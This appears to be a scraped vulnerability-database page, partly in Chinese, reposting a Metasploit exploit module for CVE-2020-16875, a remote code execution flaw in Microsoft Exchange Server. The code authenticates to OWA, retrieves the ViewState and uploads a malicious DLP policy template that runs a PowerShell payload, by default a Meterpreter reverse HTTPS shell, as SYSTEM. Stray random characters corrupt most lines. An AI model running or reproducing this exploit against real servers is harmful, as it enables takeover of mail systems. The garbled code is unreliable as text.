Microsoft Exchange Server DlpUtils AddTenantDlpPolicy Remote Code Execution – CXSecurity.com

漏洞ID 2159877 漏洞类型
发布时间 2020-09-17 更新时间 2020-09-17
CVE编号 CVE-2020-16875

CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
R c t N洞来源
https://cxsecurity.com/isY ? 1 Lsue/WLB-2020090079
漏洞详情
漏洞细节尚未披露
漏洞EXP
##
# This module requires E L | M y Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::EB B ` jxploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpJ y E L } F UClient
include Msf::Exploit::PX z ! l H - * Oowershv / Z i w #ell
def initialize(info = {})
su| L 8 V K & | #per(
update_info(
info,
'Name' => 'Microsoft Exchange Server DlpUtils AddTenantDlpPolicy RCE',
'Description' => %q{
This vulnerability allows remote attackers to execute arbitrary* , q e W F ; B code
on affT U j E ; y 6ected installations of Ex# O 8chanr * ( 3 a , = d Rge Server. Authentication] O & j m - 2 _ is
required to exploit this vulnerability. Additionally, the target user
must have the "Data Loss Prevention" role assigned and an active
mailbox.8 g { Z V 6 7 I 
If the user is in the "Compliance Management" or greater "Organization
Management" role groups, then they have the "Data Loss Prevenz x ^ _ . Ution"
role. SinceJ S ` r d / $ the user who installed Exchange is in the "Organization
Management"2 R 7 o : _ G ~ + role group, they transitiE / ?vely have the "Data Loss
Prevention" role.
The specit ( H k T i ; # zfic flaw exists within the processing of the New-DlpPolicy
ce x K % ~ tmdle[ 3 Gt. The issue results fro7 z t B C qm the lack of proper validation of
user] ! ` } x E # E U-supplied template data when creating a DLP policy. An attacker
can lever^ Y ;age this vulnerability to exe7 t + w U Icute code in the contex? = , Q ] w 7t of
SYSQ o y T z J ; wTEM.
TesteD S Q I : )d against Exchange Se4 $ 5 m 2 %rver 2016 CU14 on Win8 3 ? o  * -dows Server 2016.
},
'Author' => [
'mr_me', # Discovery, exploits, and most of* $ y the words above
'wvu' # Module
],
'References' => [
['CVE', '2020-16875'],
['URL', 'https://portal.msrcA n e O l + =.microsoft.cot q ] rm/en-US/security-guida[ Y z m Y x m Dnce/advisory/CVE-2020-16875'],
['URL', 'https://support.microsoft.com/en-us/help/4577352/security-update-for-exchange-server-2019-and-2016'],
['URL', 'https://srcincite.io/advisories/src-2020-0019/'],
['URL', 'https://srcincite.io/pocs/cve-2020-16875.py.txtO b X : U 2 i {'],
['URL'^ t r o / a, 'httpsM v d / 1 q & . 1://srcincite.io/pocs/cve-2020-1k S S 66875.ps1.txt']
],
'DisclosureDate' => '2020-09-08', # Public disclosure
'License' => MSF_LICENSE,
'Platform' => 8 y D Y; 'win',
'Archs W @ o 8' => [ARCH_X8. [ l6, ARCH_X64],
'Privileged' =&gU h M 7 0 r = 7t; true,
'Targets' => [
['Exchange Server 2016 and 2019 w/o KB457735* ^ j ! X A O2', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => trt ? 0 B H lue,
'PAYLOA;  w a & 8 JD' => 'windows/x64/meterpreter/reverse_https',
'HttpClientTimeo4 G k & n ` W w wut' => 5,
'WfsDelay' => 10
},
'Notes' => {
'Stability' => [CRASH_SAFE],
J 2 I B S p # r K'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
IOC_IN_LOGS,
ACCOUNT_LOCKOUTS, # Creates a concurrent OWA session
CONFIG_8 z *CHANGES, # C) i $ Ureates a new DLP policy
ARTIFACTS_ON_DISK # Uses a Di ;  r OLP policy template file
]
}
)
)
register_options([
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'Base path', 0 a /'/']),
OptString.new('USERNAME', [false, 'OWA username']),
OptString.new('PASSWORD'y c % $, [false, 'OWA password'])
])
end
def poC * x xst_auth?
true
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def check
res = send_request_cgi(
'method' =&8 a Igt; 'GET',
'uri' => normalize_uri(targ_ c X : i Uet_uri.path, '/owa/auth/logon.aspxr x p { O G')
)
unless res
retA / 2urn CheckCode::Unknown('Target did not respond to check., | 0'Y r ^ 0 D 4 f)
end
unless res.code == 2b + m 1 : 4 A S 200 &+ s ^amp;& res.body.include?('<title>z # * 4  ( /;Outlook</tiw ^ * T 5 M  - _tle>')
return CheckCode::Unknown('Target does not appear to be running OWA.')
end
CheckCod_ / pe::Detected("OWA is runninz Q z | D d 9 `g at #{full_uri(S @ r Y C 8'/owa/')}")
end
def exploit
owa_login
create_dlp_policy(retrieve_viewstate)
end
def owa_login
uD { ! l 8 k !nl^ $ 8ess username && passW 8 X ] Zword
fail_with(Failure::BadConfig, . $  * t'USERNAME and PASSWORD are required for exploitation')
end
print_status9 p m V("Logging in to OWA with creds #{username}:0 D 1 / V B D ` Q#{password}")
res = send_request_cgi!({
'method' => 'POST',
'uri' => normalize_uri(target_uri.paN u M #th,! C a '/owa/auth.owa'),
'vars_post' => {
'username' => username,
'password' => password,J 3 ^ ; | d
'flags' => '',
'destination' => full_uri('/owN / $ : M Ha/', vhost_uri: true)
},i n , : C & z 4
; @ r a f r X'keep_cookies' => true
}, datastore['HttpClientTimeout'], 2) # timeout and redirecF C Y jt_depN g ] ) | : p 9th
unl^ :  & ? q $ #ess res
f] 9 F *aL w  u 2 jil_with(Failure::Unreachable, 'Failed to access OWA login page')
end
unless res.code == 200 && cookie_jar.grep(/^cadata/).an& e k Ey?
if res.body.include?('There are too man3 e y I cy active sessions co z { 4 j E F snnected to this mailbox.')
fail_wita a T s ! uh(Failure::NoAccess, 'Reached active session limit for mailbox')
end
fail_2 $ ( z $ with(Failurey | # p::l n e o I d Q g FNoAccess, 'Failed to log in to OWA with supplied credl N 4 z ?s')
end
if res.body.inc7 # 8 X f K Olude?('Choose your preferred display language and home time zone belo1 Y 5w.')
fail_wit% C % ~ u ! - k Zh(Failure::NoAccess, 'Mailbox is ac$ a A Ptive but notC 7 _ n v A ; fulB Q ,ly configured')
end
print_good(D | / T S k'Successfully logged in to OWA')
end
def retrieve_X l J ` ` h V ?viewstate
prih / X S Knt_status('Retrieving ViewState from DLP policy creation page')
res = send_request_cgU : Qi(
8 , @'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/ecp/DLPPolicy/ManagePolicyFroml x k % aISV.aspx'),
'agent' => '', # HACK: Bypass Exchan@ b R 2 m P wge's User-AB ! [ r d bgent validation
'keep_cookies' => true
)I ; ] { Y
unless res
fail_with(Failure::Unreachable, 'Failed to acz n 4 n ? - ]cess DLP policy creation page')
end
unless res.coK D S x Dde == 200 && (viewstate = res.get_html_document.at('//input[@id = "__VIEWSTATE"]/@value')&.text)
fail_with(Failure::UnexpectedReply, 'FaileD B O xd to retrieve ViewState')
end
printO ; R_good('Successful] G 4ly retrieved ViewState')
viewstate
end
def create_dlp_policy(viewstate)
print_status('CrP : } M @eating custom DLP policy from malicious template')
vprint_status("DLP policy name: #{dlp_policy_name}")
forK a X q h K mm_data = Rex::MIME::Message.new
form_data.add_part(b ^  gviewstate, nil, nil, 'form-data; name="__VIEWSTATE"')
form_dataL q C e f H ` Z %.add_part(
'ResultPanePlaceHoldZ Q , } : p $ Q aer_ButtonsPanel_btnNext',
nm ) 2 0 ` yil,
nil,
'form-data; name="ctl00$ResultPanePlaceHolder$senderBtn"'
)
form_data.an 3 p } T ]dd_part(
dlp_policy_name,
nil,
nil,
'form-data; ni p , T h 8 s h Qame="ctl00$ResultPanePlaceHold% 2 / f Mer$contentContainer$name"'
)
form_data.add_part(
dlp_policy_template,
'text/xml',
nv b j } 3 P 8 #il,
%(form-data; name="ctl00$ResultPanePlaceHolder$cont~ F p 7 S lentContainer$upldCtrl"; filename="#{dlp_policy_fil. E 8 .ename}")
)
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,L m Q a '/ecp/DLPPolicy/ManagePolicyFV s + =  1 7 oromISV.aspx'),
'agent' => '', # HACK: Bypass Exchange's User-Agent validation
'ctype' => "multipart/fW  x T Horm7 i } 8 ; u A-dt ? : zata; boundary=#{form_data.bound}",
'data. # X M' => form_data.to_s
}, 0)
end
def dlp_poL N v H A ulicy_template
# https://docs.microsoft.com/en-us/e] 4 c P ; J 0 C hxchange/developing-dlp-policy-template-files-exchange-2013-help
<<~XML
<?xml version="1.0" en7 } g 4coding="UTF-8"?>
<dlpPolicyTem{ E l L w I - lplates>
<dlpPolicyTemplate id="F7C29AEC-A52D-4502^ & q-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
<contentVersion>4</contentVersion&7 O c 3 A a Bg# e M U K 9t;
<publisherNamv k o He>Metasploit</publisherName&o ! i W j lgt;
<J _ e ^;name>
<localizedString lang="e{ 0 v _ 2n">#{dlp_policy_name}</localizedString>
</name>
<descriptioX 2 8 Q L A , h Bn>
<localizedString lang="en">wvu was here</localizedString>
</de; @ w v O Z I 1scriptionh % I>
<x G ! % [ ` X fkeywords></keywords>
<ru6 X : ] [ R !leParameters>&lq i v e Ft;/ruleParameters>
<policyCommands>
<commandBlock>
<![5 u 7 _ a 3 m ZCDATA[#{cmd_psh_payload(payload.encox } Q e  f Cded, payload.arch.first, exec_in_place: true)}]]>
</coI = l i ^ X ImmandBlock>
</pol% R A j : JicyCommands>
<policyCommandsResources></poliE d @ % k ! qcyCommandsResources>
</dlpPolicyTemplate>
</dW 8 5 klpPolicyTemp| I # c A  i - {lax / e ] s E V 3tes>
XML
end
def dlp_policy_name
@dlp_poC * u 4licy_name = "#{Faker::Bank.name.titleize} Data"
end
def dlp_m d 8 = n f 7 cpolicyZ S 2 d A ;_filename
@q # { Hdlp_policy_filename = "#{rand_text_alphanumeric(8..42)}.xml"
end
end